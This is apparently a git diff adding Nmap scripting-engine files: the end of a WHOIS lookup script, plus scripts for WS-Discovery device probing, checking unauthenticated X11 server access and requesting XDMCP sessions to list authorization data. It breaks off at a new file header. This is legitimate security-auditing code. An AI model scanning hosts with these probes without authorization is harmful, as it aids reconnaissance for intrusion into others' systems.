+ nmap.registry.whois.whoisdb = {
+ arin = {
+ id = "arin",
+ hostname = "whois.arin.net", preflag = "n +", postflag = "",
+ longname = {"american registry for internet numbers"},
+ fieldreq = nmap.registry.whois.fields_meta.arin,
+ smallnet_rule = nmap.registry.whois.fields_meta.arin.ob_netnum.netrange,
+ redirects = {
+ {"ob_org", "orgname", "longname"},
+ {"ob_org", "orgname", "id"},
+ {"ob_org", "orgid", "id"} },
+ output_short = {
+ {"ob_netnum", {"netrange", "netname"}},
+ {"ob_org", {"orgname", "orgid", {"country", "stateprov"}}} },
+ output_long = {
+ {"ob_netnum", {"netrange", "netname"}},
+ {"ob_org", {"orgname", "orgid", {"country", "stateprov"}}},
+ {"ob_cust", {"custname", {"country", "stateprov"}}},
+ {"ob_persn", {"orgtechname", "orgtechemail"}} },
+ reg = "netrange",
+ unordered = true
+ },
+ ripe = {
+ id = "ripe",
+ hostname = "whois.ripe.net", preflag = "-B", postflag = "",
+ longname = {"ripe network coordination centre"},
+ fieldreq = nmap.registry.whois.fields_meta.rpsl,
+ smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum,
+ redirects = {
+ {"ob_role", "role", "longname"},
+ {"ob_org", "orgname", "id"},
+ {"ob_org", "orgname", "longname"} },
+ output_short = {
+ {"ob_netnum", {"inetnum", "netname", "descr", "country"}},
+ {"ob_org", {"orgname", "organisation", "descr", "email"}} },
+ output_long = {
+ {"ob_netnum", {"inetnum", "netname", "descr", "country"}},
+ {"ob_org", {"orgname", "organisation", "descr", "email"}},
+ {"ob_role", {"role", "email"}},
+ {"ob_persn", {"person", "email"}} },
+ reg = "inetnum"
+ },
+ apnic = {
+ id = "apnic",
+ hostname = "whois.apnic.net", preflag = "", postflag = "",
+ longname = {"asia pacific network information centre"},
+ fieldreq = nmap.registry.whois.fields_meta.rpsl,
+ smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum,
+ redirects = {
+ {"ob_netnum", "netname", "id"},
+ {"ob_org", "orgname", "longname"},
+ {"ob_role", "role", "longname"},
+ {"ob_netnum", "source", "id"} },
+ output_short = {
+ {"ob_netnum", {"inetnum", "netname", "descr", "country"}},
+ {"ob_org", {"orgname", "organisation", "descr", "email"}} },
+ output_long = {
+ {"ob_netnum", {"inetnum", "netname", "descr", "country"}},
+ {"ob_org", {"orgname", "organisation", "descr", "email"}},
+ {"ob_role", {"role", "email"}},
+ {"ob_persn", {"person", "email"}} },
+ reg = "inetnum"
+ },
+ lacnic = {
+ id = "lacnic",
+ hostname = "whois.lacnic.net", preflag = "", postflag = "",
+ longname =
+ {"latin american and caribbean ip address regional registry"},
+ fieldreq = nmap.registry.whois.fields_meta.lacnic,
+ smallnet_rule = nmap.registry.whois.fields_meta.lacnic.ob_netnum.inetnum,
+ redirects = {
+ {"ob_netnum", "ownerid", "id"},
+ {"ob_netnum", "source", "id"} },
+ output_short = {
+ {"ob_netnum",
+ {"inetnum", "owner", "ownerid", "responsible", "country"}} },
+ output_long = {
+ {"ob_netnum",
+ {"inetnum", "owner", "ownerid", "responsible", "country"}},
+ {"ob_persn", {"person", "email"}} },
+ reg = "inetnum"
+ },
+ afrinic = {
+ id = "afrinic",
+ hostname = "whois.afrinic.net", preflag = "-c", postflag = "",
+ longname = {
+ "african internet numbers registry",
+ "african network information center"
+ },
+ fieldreq = nmap.registry.whois.fields_meta.rpsl,
+ smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum,
+ redirects = {
+ {"ob_org", "orgname", "longname"} },
+ output_short = {
+ {"ob_netnum", {"inetnum", "netname", "descr", "country"}},
+ {"ob_org", {"orgname", "organisation", "descr", "email"}} },
+ output_long = {
+ {"ob_netnum", {"inetnum", "netname", "descr", "country"}},
+ {"ob_org", {"orgname", "organisation", "descr", "email"}},
+ {"ob_role", {"role", "email"}},
+ {"ob_persn", {"person", "email"}} },
+ reg = "inetnum"
+ },--[[
+ jpnic = {
+ id = "jpnic",
+ hostname = "whois.nic.ad.jp", preflag = "", postflag = "/e",
+ longname = {"japan network information center"},
+ fieldreq = nmap.registry.whois.fields_meta.jpnic,
+ output_short = {
+ {"ob_netnum", {"inetnum", "netname", "orgname"}} },
+ reg = "inetnum" },--]]
+ iana = { -- not actually a db but required here
+ id = "iana", longname = {"internet assigned numbers authority"}
+ }
+ }
+
+ nmap.registry.whois.m_none = {
+ "\n%s*([Nn]o match found for[%s+]*$addr)",
+ "\n%s*([Uu]nallocated resource:%s*$addr)",
+ "\n%s*([Rr]eserved:%s*$addr)",
+ "\n[^\n]*([Nn]ot%s[Aa]ssigned[^\n]*$addr)",
+ "\n%s*(No match!!)%s*\n",
+ "(Invalid IP or CIDR block:%s*$addr)",
+ "\n%s*%%%s*(Unallocated and unassigned in LACNIC block:%s*$addr)",
+ }
+ nmap.registry.whois.m_err = {
+ "\n%s*([Aa]n [Ee]rror [Oo]ccured)%s*\n",
+ "\n[^\n]*([Ee][Rr][Rr][Oo][Rr][^\n]*)\n"
+ }
+
+ nmap.registry.whois.remote_assignments_files = {}
+ nmap.registry.whois.remote_assignments_files.ipv4 = {
+ {
+ remote_resource = "https://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt",
+ local_resource = "ipv4-address-space",
+ match_assignment = "^%s*([%.%d]+/%d+)",
+ match_service = "whois%.(%w+)%.net"
+ }
+ }
+ nmap.registry.whois.remote_assignments_files.ipv6 = {
+ --[[{
+ remote_resource = "http://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.txt",
+ local_resource = "ipv6-address-space",
+ match_assignment = "^([:%x]+/%d+)",
+ match_service = "^[:%x]+/%d+%s*(%w+)"
+ },--]]
+ {
+ remote_resource = "https://www.iana.org/assignments/ipv6-unicast-address-assignments/ipv6-unicast-address-assignments.txt",
+ local_resource = "ipv6-unicast-address-assignments",
+ match_assignment = "^%s*([:%x]+/%d+)",
+ match_service = "whois%.(%w+)%.net"
+ }
+ }
+
+ local err
+
+ -- get and validate any --script-args
+ get_args()
+
+ -- mutex for each service
+ nmap.registry.whois.mutex = {}
+ for id, v in pairs( nmap.registry.whois.whoisdb ) do
+ if id ~= "iana" then
+ nmap.registry.whois.mutex[id] = nmap.mutex(nmap.registry.whois.whoisdb[id])
+ end
+ end
+
+ -- get IANA assignments lists
+ if nmap.registry.whois.using_local_assignments_file.ipv4
+ or nmap.registry.whois.using_local_assignments_file.ipv6 then
+ nmap.registry.whois.local_assignments_data = get_local_assignments_data()
+ for _, af in ipairs({"ipv4", "ipv6"}) do
+ if not nmap.registry.whois.local_assignments_data[af] then
+ nmap.registry.whois.using_local_assignments_file[af] = false
+ stdnse.debug1("Cannot use local assignments file for address family %s.", af)
+ end
+ end
+ end
+
+ nmap.registry.whois.init_done = true
+
+end
+
+
+
+---
+-- Parses the command line arguments passed to the script with --script-args.
+-- Sets flags in the registry which threads read to determine certain behaviours.
+-- Permitted args are 'nofile' - Prevents use of a list of assignments to determine which service to query,
+-- 'nofollow' - Prevents following redirects found in records,
+-- 'arin', 'ripe', 'apnic', etc. - Service id's, as defined in the whoisdb table in the registry (see script_init).
+
+function get_args()
+
+ if not nmap.registry.args then return end
+
+ local args = stdnse.get_script_args('whois.whodb')
+
+ if type( args ) ~= "string" or ( args == "" ) then return end
+
+ local t = {}
+ -- match words in args which may be whois dbs or other arguments
+ for db in string.gmatch( args, "%w+" ) do
+ if not nmap.registry.whois.whoisdb[db] then
+ if ( db == "nofollow" ) then
+ nmap.registry.whois.nofollow = true
+ elseif ( db == "nocache" ) then
+ nmap.registry.whois.using_cache = false
+ elseif ( db == "nofile" ) then
+ nmap.registry.whois.using_local_assignments_file.ipv4 = false
+ nmap.registry.whois.using_local_assignments_file.ipv6 = false
+ end
+ elseif not ( string.match( table.concat( t, " " ), db ) ) then
+ -- we have a unique valid whois db
+ t[#t+1] = db
+ end
+ end
+
+ if ( #t > 0 ) then
+ -- "nofile" is implied by supplying custom whoisdb_default_order
+ nmap.registry.whois.using_local_assignments_file.ipv4 = false
+ nmap.registry.whois.using_local_assignments_file.ipv6 = false
+ stdnse.debug3("Not using local assignments data because custom whoisdb_default_order was supplied.")
+ end
+
+ if ( #t > 1 ) and nmap.registry.whois.nofollow then
+ -- using nofollow, we do not follow redirects and can only accept what we find as a record therefore we only accept the first db supplied
+ t = {t[1]}
+ stdnse.debug1("Too many args supplied with 'nofollow', only using %s.", t[1])
+ end
+
+ if ( #t > 0 ) then
+ nmap.registry.whois.whoisdb_default_order = t
+ stdnse.debug2("whoisdb_default_order: %s.", table.concat( t, " " ))
+ end
+
+end
+
+
+
+---
+-- Makes IANA hosted assignments data available for lookups against that data. In more detail it:
+-- Caches a local copy of remote assignments data if copies do not currently exist or are out-of-date.
+-- Checks whether the cached copies require updating and performs update as required.
+-- Parses the cached copies and populates a table of lookup data which is returned to the caller.
+-- Sets a flag in the registry to prevent use of the lookup data in the event of an error.
+-- @return Table of lookup data (or nil in case of an error).
+-- @return Nil or error message in case of an error.
+
+function get_local_assignments_data()
+
+ if not next( nmap.registry.whois.remote_assignments_files ) then
+ stdnse.debug1("Error in get_local_assignments_data: Remote resources not defined in remote_assignments_files registry key")
+ return nil
+ end
+
+ -- get the directory path where cached files will be stored.
+ local fetchfile = "nmap-services"
+ local directory_path, err = get_parentpath( fetchfile )
+ if err then
+ stdnse.debug1("Nmap.fetchfile() failed to get a path to %s: %s.", fetchfile, err)
+ return nil
+ end
+
+ local ret = {}
+
+ -- cache or update and parse each remote file for each address family
+ for address_family, t in pairs( nmap.registry.whois.remote_assignments_files ) do
+ for i, assignment_data_spec in ipairs( t ) do
+
+ local update_required, modified_date, entity_tag
+
+ -- do we have a cached file and does it need updating?
+ local file = directory_path .. assignment_data_spec.local_resource
+ local exists, readable, writable = file_stat(file)
+ if not exists and (readable and writable) then
+ update_required = true
+ elseif exists and readable then
+ update_required, modified_date, entity_tag = requires_updating( file )
+ if update_required and not writable then
+ update_required = false
+ readable = false
+ end
+ end
+
+ local file_content
+
+ -- read an existing and up-to-date file into file_content.
+ if readable and not update_required then
+ stdnse.debug2("%s was cached less than %s ago. Reading...", file, nmap.registry.whois.local_assignments_file_expiry)
+ file_content = read_from_file( file )
+ end
+
+ -- cache or update and then read into file_content
+ local http_response, write_success
+ if update_required then
+ http_response = ( conditional_download( assignment_data_spec.remote_resource, modified_date, entity_tag ) )
+ if not http_response or type( http_response.status ) ~= "number" then
+ stdnse.debug1("Failed whilst requesting %s.", assignment_data_spec.remote_resource)
+ elseif http_response.status == 200 then
+ -- prepend our file header
+ stdnse.debug2("Retrieved %s.", assignment_data_spec.remote_resource)
+ file_content = stringaux.strsplit( "\r?\n", http_response.body )
+ table.insert( file_content, 1, "** Do Not Alter This Line or The Following Line **" )
+ local hline = {}
+ hline[#hline+1] = "<" .. os.time() .. ">"
+ hline[#hline+1] = "<" .. http_response.header["last-modified"] .. ">"
+ if http_response.header.etag then
+ hline[#hline+1] = "<" .. http_response.header.etag .. ">"
+ end
+ table.insert( file_content, 2, table.concat( hline ) )
+ write_success, err = write_to_file( file, file_content )
+ if err then
+ stdnse.debug1("Error writing %s to %s: %s.", assignment_data_spec.remote_resource, file, err)
+ end
+ elseif http_response.status == 304 then
+ -- update our file header with a new timestamp
+ stdnse.debug1("%s is up-to-date.", file)
+ file_content = read_from_file( file )
+ file_content[2] = file_content[2]:gsub("^<[-+]?%d+>(.*)$", "<" .. os.time() .. ">%1")
+ write_success, err = write_to_file( file, file_content )
+ if err then
+ stdnse.debug1("Error writing to %s: %s.", file, err)
+ end
+ else
+ stdnse.debug1("HTTP %s whilst requesting %s.", http_response.status, assignment_data_spec.remote_resource)
+ end
+ end
+
+
+ if file_content then
+ -- Create a table for this address family (if there isn't one already).
+ if not ret[address_family] then ret[address_family] = {} end
+ -- Parse data and add to the table for this address family.
+ local t
+ t, err = parse_assignments( assignment_data_spec, file_content )
+ if #t == 0 or err then
+ -- good header, but bad file? Kill the file!
+ write_to_file( file, "" )
+ stdnse.debug1("Problem with the data in %s.", file)
+ else
+ for i, v in pairs( t ) do
+ ret[address_family][#ret[address_family]+1] = v
+ end
+ end
+ end
+
+ end -- file
+ end -- af
+
+ -- If we decide to use more than one assignments file for ipv6 we may need to sort the resultant parsed list so that sub-assignments appear
+ -- before their parent. This is expensive, but it's worth doing to ensure the lookup process returns the correct service.
+ -- table.sort( ret.ipv6, sort_assignments )
+
+ -- final check for an empty table which we'll convert to nil
+ for af, t in pairs( ret ) do
+ if #t == 0 then
+ ret[af] = nil
+ end
+ end
+
+ return ret
+
+end
+
+
+
+---
+-- Uses <code>nmap.fetchfile</code> to get the path of the parent directory of the supplied Nmap datafile SCRIPT_NAME.
+-- @param fname String - Filename of an Nmap datafile.
+-- @return String - The filepath of the directory containing the supplied SCRIPT_NAME including the trailing slash (or nil in case of an error).
+-- @return Nil or error message in case of an error.
+
+function get_parentpath( fname )
+
+ if type( fname ) ~= "string" or fname == "" then
+ return nil, "Error in get_parentpath: Expected fname as a string."
+ end
+
+ local path = nmap.fetchfile( fname )
+ if not path then
+ return nil, "Error in get_parentpath: Call to fetchfile() failed."
+ end
+
+ path = path:sub( 1, path:len() - fname:len() )
+ return path
+
+end
+
+
+
+--;
+-- Tests a file path to determine whether it exists, can be read from and can be written to.
+-- An attempt is made to create the file if it does not exist and no attempt is made to remove
+-- it if creation succeeded.
+-- @param path Path to a file.
+-- @return Boolean True if exists, False if not (at time of calling), nil if determination failed.
+-- @return Boolean True if readable, False if not, nil if determination failed.
+-- @return Boolean True if writable, False if not, nil if determination failed.
+function file_stat( path )
+
+ local exists, readable, writable
+
+ local f, err = io.open(path, 'r')
+ if f then
+ f:close()
+ exists = true
+ readable = true
+ f, err = io.open(path, 'a')
+ if f then
+ f:close()
+ writable = true
+ elseif err:match('Permission denied') then
+ writable = false
+ end
+ elseif err:match('No such file or directory') then
+ exists = false
+ f, err = io.open(path, 'w')
+ if f then
+ f:close()
+ writable = true
+ f, err = io.open(path, 'r')
+ if f then
+ f:close()
+ readable = true
+ elseif err:match('Permission denied') then
+ readable = false
+ end
+ elseif err:match('Permission denied') then
+ writable = false
+ end
+ elseif err:match('Permission denied') then
+ exists = true -- probably
+ readable = false
+ end
+
+ return exists, readable, writable
+
+end
+
+
+
+---
+-- Checks whether a cached file requires updating via HTTP.
+-- The cached file should contain the following string on the second line: "<timestamp><Last-Modified-Date><Entity-Tag>".
+-- where timestamp is number of seconds since epoch at the time the file was last cached and
+-- Last-Modified-Date is an HTTP compliant date sting returned by an HTTP server at the time the file was last cached and
+-- Entity-Tag is an HTTP Etag returned by an HTTP server at the time the file was last cached.
+-- @param file Filepath of the cached file.
+-- @return Boolean False if file does not require updating, true otherwise.
+-- @return nil or a valid modified-date (string).
+-- @return nil or a valid entity_tag (string).
+-- @see file_is_expired
+
+function requires_updating( file )
+
+ local last_cached, mod, etag, has_expired
+
+ local f, err, _ = io.open( file, "r" )
+ if not f then return true, nil end
+
+ local _ = f:read()
+ local stamp = f:read()
+ f:close()
+ if not stamp then return true, nil end
+
+ last_cached, mod, etag = stamp:match( "^<([^>]*)><([^>]*)><?([^>]*)>?$" )
+ if (etag == "") then etag = nil end
+ if not ( last_cached or mod or etag ) then return true, nil end
+ if not (
+ mod:match( "%a%a%a,%s%d%d%s%a%a%a%s%d%d%d%d%s%d%d:%d%d:%d%d%s%u%u%u" )
+ or
+ mod:match( "%a*day,%d%d-%a%a%a-%d%d%s%d%d:%d%d:%d%d%s%u%u%u" )
+ or
+ mod:match( "%a%a%a%s%a%a%a%s%d?%d%s%d%d:%d%d:%d%d%s%d%d%d%d" )
+ ) then
+ mod = nil
+ end
+ if not etag and not mod then
+ return true, nil
+ end
+
+ -- Check whether the file was cached within local_assignments_file_expiry (registry value)
+ has_expired = file_is_expired( last_cached )
+
+ return has_expired, mod, etag
+
+end
+
+
+
+---
+-- Reads a file, line by line, into a table.
+-- @param file String representing a filepath.
+-- @return Table (array-style) of lines read from the file (or nil in case of an error).
+-- @return Nil or error message in case of an error.
+
+function read_from_file( file )
+
+ if type( file ) ~= "string" or file == "" then
+ return nil, "Error in read_from_file: Expected file as a string."
+ end
+
+ local f, err, _ = io.open( file, "r" )
+ if not f then
+ stdnse.debug1("Error opening %s for reading: %s", file, err)
+ return nil, err
+ end
+
+ local line, ret = nil, {}
+ while true do
+ line = f:read()
+ if not line then break end
+ ret[#ret+1] = line
+ end
+
+ f:close()
+
+ return ret
+
+end
+
+
+
+---
+-- Performs either an HTTP Conditional GET request if mod_date or e_tag is passed, or a plain GET request otherwise.
+-- Will follow a single redirect for the remote resource.
+-- @param url String representing the full URL of the remote resource.
+-- @param mod_date String representing an HTTP date.
+-- @param e_tag String representing an HTTP entity tag.
+-- @return Table as per <code>http.request</code> or <code>nil</code> in case of a non-HTTP error.
+-- @return Nil or error message in case of an error.
+-- @see http.request
+
+function conditional_download( url, mod_date, e_tag )
+
+ if type( url ) ~= "string" or url == "" then
+ return nil, "Error in conditional_download: Expected url as a string."
+ end
+
+ -- mod_date and e_tag allowed to be nil or a non-empty string
+ if mod_date and ( type( mod_date ) ~= "string" or mod_date == "" ) then
+ return nil, "Error in conditional_download: Expected mod_date as nil or as a non-empty string."
+ end
+ if e_tag and ( type( e_tag ) ~= "string" or e_tag == "" ) then
+ return nil, "Error in conditional_download: Expected e_tag as nil or as a non-empty string."
+ end
+
+ -- use e_tag in preference to mod_date
+ local request_options = {}
+ request_options.header = {}
+ if e_tag then
+ request_options.header["If-None-Match"] = e_tag
+ elseif mod_date then
+ request_options.header["If-Modified-Since"] = mod_date
+ end
+ if not next( request_options.header ) then request_options = nil end
+
+ local request_response = http.get_url( url, request_options )
+
+ -- follow one redirection
+ if request_response.status ~= 304
+ and ( tostring( request_response.status ):match( "30%d" )
+ and type( request_response.header.location ) == "string"
+ and request_response.header.location ~= "" ) then
+ stdnse.debug2("HTTP Status:%d New Location: %s.", request_response.status, request_response.header.location)
+ request_response = http.get_url( request_response.header.location, request_options )
+ end
+
+ return request_response
+
+end
+
+
+
+---
+-- Writes the supplied content to file.
+-- @param file String representing a filepath (if it exists it will be overwritten).
+-- @param content String or table of data to write to file. Empty string or table is permitted.
+-- A table will be written to file with each element of the table on a new line.
+-- @return Boolean True on success or nil in case of an error.
+-- @return Nil or error message in case of an error.
+
+function write_to_file( file, content )
+
+ if type( file ) ~= "string" or file == "" then
+ return nil, "Error in write_to_file: Expected file as a string."
+ end
+ if type( content ) ~= "string" and type( content ) ~= "table" then
+ return nil, "Error in write_to_file: Expected content as a table or string."
+ end
+
+ local f, err, _ = io.open( file, "w" )
+ if not f then
+ stdnse.debug1("Error opening %s for writing: %s.", file, err)
+ return nil, err
+ end
+
+ if ( type( content ) == "table" ) then
+ content = table.concat( content, "\n" ) or ""
+ end
+ f:write( content )
+
+ f:close()
+
+ return true
+
+end
+
+
+
+---
+-- Converts raw data from an assignments file into a form optimised for lookups against that data.
+-- @param address_family_spec Table (assoc. array) containing patterns for extracting data.
+-- @param table_of_lines Table containing a line of data per table element.
+-- @return Table - each element of the form { range = { first = data, last = data }, service = data } (or nil in case of an error).
+-- @return Nil or error message in case of an error.
+
+function parse_assignments( address_family_spec, table_of_lines )
+
+ if #table_of_lines < 1 then
+ return nil, "Error in parse_assignments: Expected table_of_lines as a non-empty table."
+ end
+
+ local mnetwork = address_family_spec.match_assignment
+ local mservice = address_family_spec.match_service
+
+ local ret, net, svc = {}
+
+ for i, line in ipairs( table_of_lines ) do
+
+ net = line:match( mnetwork )
+ if net then
+ svc = line:match( mservice )
+ if svc then svc = string.lower( svc ) end
+ if not svc or ( svc == "iana" ) then
+ svc = "arin"
+ elseif not nmap.registry.whois.whoisdb[svc] then
+ svc = "arin"
+ end
+ -- optimise the data
+ local first_ip, last_ip, err = ipOps.get_ips_from_range( net )
+ if not err then
+ local t = { first = first_ip, last = last_ip }
+ ret[#ret+1] = { range = t, service = svc }
+ end
+ end
+
+ end
+
+ return ret
+
+end
+
+
+
+---
+-- Checks the age of the supplied timestamp and compares it to the value of local_assignments_file_expiry.
+-- @param time_string String representing a timestamp (seconds since epoch).
+-- @return Boolean True if the period elapsed since the timestamp is longer than the value of local_assignments_file_expiry
+-- also returns true if the parameter is not of the expected type, otherwise returns false.
+-- @see sane_expiry_period
+
+function file_is_expired( time_string )
+
+ if type( time_string ) ~= "string" or time_string == "" then return true end
+ local allowed_age = nmap.registry.whois.local_assignments_file_expiry
+ if allowed_age == "" then return true end
+
+ local cached_time = tonumber(time_string)
+ if not cached_time then return true end
+
+ local now_time = os.time()
+ if now_time < cached_time then return true end
+ if now_time > ( cached_time + sane_expiry_period( allowed_age ) ) then return true end
+
+ return false
+
+end
+
+
+
+---
+-- Checks that the supplied string represents a period of time between 0 and 7 days.
+-- @param period String representing a period.
+-- @return Number representing the supplied period or a failsafe period in whole seconds.
+-- @see get_period
+
+function sane_expiry_period( period )
+
+ local sane_default_expiry = 57600 -- 16h
+ local max_expiry = 604800 -- 7d
+
+ period = get_period( period )
+ if not period or ( period == "" ) then return sane_default_expiry end
+
+ if period < max_expiry then return period end
+ return max_expiry
+
+end
+
+
+
+---
+-- Converts a string representing a period of time made up of a quantity and a unit such as "24h"
+-- into whole seconds.
+-- @param period String combining a quantity and a unit of time.
+-- Acceptable units are days (D or d), hours (H or h), minutes (M or m) and seconds (S or s).
+-- If a unit is not supplied or not one of the above acceptable units, it is assumed to be seconds.
+-- Negative or fractional periods are permitted.
+-- @return Number representing the supplied period in whole seconds (or nil in case of an error).
+
+function get_period( period )
+
+ if type( period ) ~= 'string' or ( period == "" ) then return nil end
+ local quant, unit = period:match( "(-?+?%d*%.?%d*)([SsMmHhDd]?)" )
+ if not ( tonumber( quant ) ) then return nil end
+
+ if ( string.lower( unit ) == "m" ) then
+ unit = 60
+ elseif ( string.lower( unit ) == "h" ) then
+ unit = 3600
+ elseif ( string.lower( unit ) == "d" ) then
+ unit = 86400
+ else
+ -- seconds and catch all
+ unit = 1
+ end
+
+ return ( math.modf( quant * unit ) )
+
+end
+
+
+
+--
+-- Passed to <code>table.sort</code>, will sort a table of IP assignments such that sub-assignments appear before their parent.
+-- This function is not in use at the moment (see get_local_assignments_data) and will not appear in nse documentation.
+-- @param first Table { range = { first = IP_addr, last = IP_addr } }
+-- @param second Table { range = { first = IP_addr, last = IP_addr } }
+-- @return Boolean True if the tables are already in the correct order, otherwise false.
+
+function sort_assignments( first, second )
+
+ local f_lo, f_hi = first.range.first, first.range.last
+ local s_lo, s_hi = second.range.first, second.range.last
+
+ if ipOps.compare_ip( f_lo, "gt", s_lo ) then return false end
+ if ipOps.compare_ip( f_lo, "le", s_lo ) and ipOps.compare_ip( f_hi, "ge", s_hi ) then
+ return false
+ end
+
+ return true
+
+end
diff --git a/scripts/wsdd-discover.nse b/scripts/wsdd-discover.nse
new file mode 100644
index 0000000..4115170
--- /dev/null
+++ b/scripts/wsdd-discover.nse
@@ -0,0 +1,91 @@
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local wsdd = require "wsdd"
+
+description = [[
+Retrieves and displays information from devices supporting the Web
+Services Dynamic Discovery (WS-Discovery) protocol. It also attempts
+to locate any published Windows Communication Framework (WCF) web
+services (.NET 4.0 or later).
+]]
+
+---
+-- @usage
+-- sudo ./nmap --script wsdd-discover
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3702/udp open|filtered unknown
+-- | wsdd-discover:
+-- | Devices
+-- | Message id: 39a2b7f2-fdbd-690c-c7c9-deadbeefceb3
+-- | Address: http://10.0.200.116:50000
+-- |_ Type: Device wprt:PrintDeviceType
+--
+--
+
+--
+-- Version 0.1
+-- Created 10/31/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery", "default"}
+
+
+portrule = shortport.portnumber(3702, "udp", {"open", "open|filtered"})
+
+-- function used for running several discovery threads in parallel
+--
+-- @param funcname string containing the name of the function to run
+-- the name should be one of the discovery functions in wsdd.Helper
+-- @param result table into which the results are stored
+discoverThread = function( funcname, host, port, results )
+ -- calculates a timeout based on the timing template (default: 5s)
+ local timeout = ( 20000 / ( nmap.timing_level() + 1 ) )
+ local condvar = nmap.condvar( results )
+ local helper = wsdd.Helper:new(host, port)
+ helper:setTimeout(timeout)
+
+ local status, result = helper[funcname](helper)
+ if ( status ) then table.insert(results, result) end
+ condvar("broadcast")
+end
+
+local function sortfunc(a,b)
+ if ( a and b and a.name and b.name ) and ( a.name < b.name ) then
+ return true
+ end
+ return false
+end
+
+action = function(host, port)
+
+ local threads, results = {}, {}
+ local condvar = nmap.condvar( results )
+
+ -- Attempt to discover both devices and WCF web services
+ for _, f in ipairs( {"discoverDevices", "discoverWCFServices"} ) do
+ threads[stdnse.new_thread( discoverThread, f, host, port, results )] = true
+ end
+
+ local done
+ -- wait for all threads to finish
+ while( not(done) ) do
+ done = true
+ for thread in pairs(threads) do
+ if (coroutine.status(thread) ~= "dead") then done = false end
+ end
+ if ( not(done) ) then
+ condvar("wait")
+ end
+ end
+
+ if ( results ) then
+ table.sort( results, sortfunc )
+ return stdnse.format_output(true, results)
+ end
+end
diff --git a/scripts/x11-access.nse b/scripts/x11-access.nse
new file mode 100644
index 0000000..f434956
--- /dev/null
+++ b/scripts/x11-access.nse
@@ -0,0 +1,74 @@
+local nmap = require "nmap"
+local string = require "string"
+
+-- NSE x11-access v1.3
+
+description = [[
+Checks if you're allowed to connect to the X server.
+
+If the X server is listening on TCP port 6000+n (where n is the display
+number), it is possible to check if you're able to get connected to the
+remote display by sending a X11 initial connection request.
+
+In reply, the success byte (0x00 or 0x01) will determine if you are in
+the <code>xhost +</code> list. In this case, script will display the message:
+<code>X server access is granted</code>.
+]]
+
+---
+-- @output
+-- Host script results:
+-- |_ x11-access: X server access is granted
+--
+-- @xmloutput
+-- true
+
+author = "vladz"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe", "auth"}
+
+portrule = function(host, port)
+ return ((port.number >= 6000 and port.number <= 6009)
+ or (port.service and string.match(port.service, "^X11")))
+ -- If port.version.product is not equal to nil, version
+ -- detection "-sV" has already done this X server test.
+ and port.version.product == nil
+end
+
+action = function(host, port)
+
+ local result, socket, try, catch
+ socket = nmap.new_socket()
+ catch = function()
+ socket:close()
+ end
+
+ try = nmap.new_try(catch)
+ try(socket:connect(host, port))
+
+ -- Sending the network dump of a x11 connection request (captured
+ -- from the XOpenDisplay() function):
+ --
+ -- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00
+ -- 0x00 0x00 0x00 0x00 0x00 0x00
+ try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000"))
+
+ -- According to the XOpenDisplay() sources, server answer is
+ -- stored in a xConnSetupPrefix structure [1]. The function
+ -- returns NULL if it does not succeed, and more precisely: When
+ -- the success field of this structure (stored on 1 byte) is not
+ -- equal to xTrue [2]. For more information, see the Xlib
+ -- programming Manual [3].
+ --
+ -- [1] xConnSetupPrefix structure is defined in X11/Xproto.h.
+ -- [2] xTrue = 0x01 according to X11/Xproto.h.
+ -- [3] http://www.sbin.org/doc/Xlib
+
+ result = try(socket:receive_bytes(1))
+ socket:close()
+
+ -- Check if first byte received is 0x01 (xTrue: succeed).
+ if string.match(result, "^\001") then
+ return true, "X server access is granted"
+ end
+end
diff --git a/scripts/xdmcp-discover.nse b/scripts/xdmcp-discover.nse
new file mode 100644
index 0000000..5414599
--- /dev/null
+++ b/scripts/xdmcp-discover.nse
@@ -0,0 +1,67 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local xdmcp = require "xdmcp"
+
+description = [[
+Requests an XDMCP (X display manager control protocol) session and lists supported authentication and authorization mechanisms.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 177 --script xdmcp-discover <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 177/udp open|filtered xdmcp
+-- | xdmcp-discover:
+-- | Session id: 0x0000703E
+-- | Authorization name: MIT-MAGIC-COOKIE-1
+-- |_ Authorization data: c282137c9bf8e2af88879e6eaa922326
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+
+portrule = shortport.port_or_service(177, "xdmcp", "udp")
+
+local mutex = nmap.mutex("xdmcp-discover")
+local function fail(err) return stdnse.format_output(false, err) end
+
+
+action = function(host, port)
+
+ local DISPLAY_ID = 1
+ local result = {}
+
+ local helper = xdmcp.Helper:new(host, port)
+ local status = helper:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, response = helper:createSession(nil,
+ {"MIT-MAGIC-COOKIE-1", "XDM-AUTHORIZATION-1"}, DISPLAY_ID)
+
+ if ( not(status) ) then
+ return fail("Failed to create xdmcp session")
+ end
+
+ table.insert(result, ("Session id: 0x%.8X"):format(response.session_id))
+ if ( response.auth_name and 0 < #response.auth_name ) then
+ table.insert(result, ("Authentication name: %s"):format(response.auth_name))
+ end
+ if ( response.auth_data and 0 < #response.auth_data ) then
+ table.insert(result, ("Authentication data: %s"):format(stdnse.tohex(response.auth_data)))
+ end
+ if ( response.authr_name and 0 < #response.authr_name ) then
+ table.insert(result, ("Authorization name: %s"):format(response.authr_name))
+ end
+ if ( response.authr_data and 0 < #response.authr_data ) then
+ table.insert(result, ("Authorization data: %s"):format(stdnse.tohex(response.authr_data)))
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/xmlrpc-methods.nse b/scripts/xmlrpc-methods.nse
new file mode 100644
